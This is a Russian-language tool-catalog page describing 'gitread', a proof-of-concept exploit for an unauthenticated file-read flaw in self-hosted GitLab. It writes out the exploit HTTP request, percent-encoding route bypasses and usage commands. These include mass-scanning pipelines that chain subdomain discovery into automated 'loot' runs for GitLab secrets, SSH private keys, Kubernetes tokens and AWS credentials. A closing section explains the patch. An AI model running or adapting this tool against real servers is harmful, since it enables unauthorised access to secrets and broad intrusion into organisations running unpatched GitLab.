Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
gitread — CVE-2026-85706 · GitLab CE/EE чтение файлов без аутентификации · исследовательский PoC с режимом оракула, перечислением файловых дескрипторов и многоуровневым таргетингом добычи | Kitploit
Инструменты/GitHubGitHub/plur1bu5/gitread
РазведкаАнализ уязвимостейЭксплуатацияСкриптинг и автоматизацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubplur1bu5/gitread
117 ч 57 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

gitread

CVE-2026-85706 · GitLab CE/EE чтение файлов без аутентификации · исследовательский PoC с режимом оракула, перечислением файловых дескрипторов и многоуровневым таргетингом добычи

Репозиторий
Поделиться

gitread

PoC для CVE-2026-85706 — неаутентифицированное произвольное чтение файлов, затрагивающее самостоятельно развёрнутые GitLab CE/EE.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Затронуто18.7 до 19.1.7, 19.2.0 до 19.2.5, 19.3.0 до 19.3.1
Исправлено19.1.8 / 19.2.6 / 19.3.2 (выпущено 2026-09-10)
КомпонентRepository Commits API / Files API (Workhorse body-upload)
Автор отчётаs3ntago через GitLab HackerOne

Как это работает

Три эндпоинта repository API находятся за requestBodyUploader в Workhorse:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Обработчик Rails вызывает File.open(params['file.path']) до authenticate!. Эксплуатацию делают возможной четыре условия:

1. Аутентификация срабатывает после чтения файла. require_gitlab_workhorse! проверяет только JWT-заголовок Gitlab-Workhorse-Api-Request. Workhorse проставляет этот заголовок на каждый проксируемый запрос, включая обычные сквозные передачи. Настоящий authenticate! находится внутри authorize_push_to_branch!, который выполняется после того, как file_params_from_body_upload уже прочитал файл с диска.

2. file.path берётся напрямую из запроса. file_params_from_body_upload читает params['file.path'] как абсолютный путь без какой-либо валидации. В штатном сценарии Workhorse записывает загруженный файл во временный файл и сам подставляет этот параметр. Атакующему достаточно отправить его напрямую как параметр строки запроса, указывающий на любой файл в файловой системе.

3. Сопоставление маршрутов в Workhorse никогда не декодирует процентное кодирование. Workhorse сопоставляет маршруты загрузки с EscapedPath() — необработанными байтами URL в том виде, в каком они получены. Puma декодирует последовательности %XX перед маршрутизацией в Grape. Поэтому кодирование одного символа в статическом сегменте заставляет Workhorse пропустить своё правило перезаписи, тогда как Rails всё равно направляет запрос в уязвимый обработчик:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (завершающий слэш)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (суффикс формата Grape)

4. Rack возвращает содержимое файла обратно в ответе об ошибке. При Content-Type: application/x-www-form-urlencoded содержимое файла передаётся в Rack::Utils.parse_nested_query. Любой одиночный %, за которым не следуют две шестнадцатеричные цифры, вызывает InvalidParameterError: invalid %-encoding (<content>). Всё до первого & в файле отражается в теле ответа 400.

Файлы без одиночного % всё равно читаются до аутентификации. Ответ 401 из ветки urlencoded и ответ 500 из ветки multipart оба подтверждают, что файл существует и доступен для чтения пользователю git, что делает их полезными в качестве оракула существования.

Эксплойт-запрос:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Возможности

  • --file читает любой отдельный файл; автоматически переключается на оракул, если нет триггера эха
  • --loot проходит 36 целей по 7 уровням, упорядоченным по подтверждённой вероятности триггера эха
  • --oracle выполняет двухветочную проверку (urlencoded + multipart) для файлов без эха и сообщает, доступен ли каждый из них для чтения, отсутствует или нечитаем
  • --proc перечисляет /proc/self/fd/0-31 для поиска открытых файловых дескрипторов, затем читает стандартные цели разведки в /proc
  • --shell открывает интерактивную оболочку чтения файлов с командами cat, loot, oracle, project и curl
  • --pipe читает цели из stdin и обрабатывает вывод subfinder, текст httpx, JSON httpx, JSON nuclei и строки хостов

Установка

root@kitploit:~
pip install requests
python3 gitread.py -h

Требуется Python 3.10 или новее. Других зависимостей нет.

Использование

Одна цель

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Конвейер

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin определяется автоматически, когда это не TTY, поэтому --pipe в большинстве случаев необязателен.

Оболочка

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Вердикты ответов

Уровни loot

Флаги

Коды выхода: 0 утечка подтверждена, 1 только оракул или нет утечек в конвейере, 2 ничего не найдено.

Патч

Исправлено в master-коммите 0d9ce3e7, бэкпортировано как 1fe30154 / b43c8b26 / 0ff7b6b2.

Одновременно было изменено три вещи:

  1. authenticate! перемещён перед file_params_from_body_upload во всех трёх эндпоинтах, чтобы файл никогда не читался для неаутентифицированного запроса
  2. file.path теперь принимается только из типизированного объекта UploadedFile, создаваемого multipart-промежуточным ПО, что требует действительного JWT с подписью Workhorse, а не из сырого параметра строки запроса
  3. InvalidParameterError больше не подставляет e.message в тело ответа, поэтому канал эха закрыт, даже если кто-то найдёт способ обойти первые два исправления

Ошибка была внесена в GitLab 18.7 (декабрь 2025), когда был добавлен вариант commits API с загрузкой тела.


сделано с любовью @plur1bu5 -- если вам это полезно, буду признателен за звезду

Скачать инструмент
  • --list принимает файл с целями по одной на строку
  • --threads для параллельного массового сканирования
  • --proxy направляет всё через Burp или mitmproxy
  • --raw записывает необработанные байты в stdout без оформления, удобно для перенаправления в файл
  • --full выполняет loot, oracle и proc за один проход
  • Вывод отчётов в формате JSON и JSONL через -o
  • Определение версии GitLab с проверкой диапазона уязвимых версий
  • Поддержка цвета в терминале Windows
  • ВердиктЗначение
    leakСодержимое файла отражено в теле ответа 400, чтение подтверждено
    leak-fragЧастичное эхо через ошибку типа параметра
    read-noechoФайл был прочитан до аутентификации, но не содержит одиночного %, поэтому ничего не отражено
    READABLEВетка multipart вернула 500, файл существует и доступен для чтения пользователю git
    missingСервер сообщил, что локальный файл отсутствует
    rewriteWorkhorse перезаписал тело, эта форма обхода не работает
    norouteRails 404, экземпляр пропатчен или путь неверен
    server-error500, файл существует, но вызвал ошибку разбора
    УровеньФайлыЭхо
    1gitlab.rb, gitlab.yml, redis.confСодержимое утекает напрямую
    2gitlab-secrets.json, secrets.yml, database.ymlТолько оракул, чистый hex
    3.gitlab_workhorse_secretТолько оракул
    4Приватные ключи SSH и authorized_keysТолько оракул
    5gitlab-shell.yml, gitaly.toml, конфигурация PostgreSQLТолько оракул
    6Токен сервисной учётной записи Kubernetes, учётные данные AWSТолько оракул
    7Hostname, hosts, passwd, os-release, environТолько оракул
    ФлагОписание
    -t, -u, --targetОдин базовый URL
    --pipeЧитать цели из stdin
    --list FILEФайл с целями
    --file PATHОдин абсолютный путь для чтения
    --lootПолный проход по 36 целям loot
    --oracleДвухветочная проверка файлов без эха
    --procПеречисление fd в /proc и разведка
    --shellИнтерактивная оболочка после сканирования
    --fullloot + oracle + proc
    --project-id IDПринудительно задать id проекта вместо автоопределения
    --forceСканировать, даже если цель не определяется как GitLab
    --rawЗаписывать необработанные байты в stdout без оформления
    --proxy URLHTTP/S прокси
    --threads NРабочие потоки для режима конвейера (по умолчанию 8)
    --timeout NТайм-аут на запрос в секундах (по умолчанию 15)
    -o FILEСохранить отчёт (.json для массива с форматированием, любое другое для JSONL)
    -q, --quietВыводить только попадания
    -v, --verboseПоказывать каждую попытку проверки
    --no-bannerПодавить баннер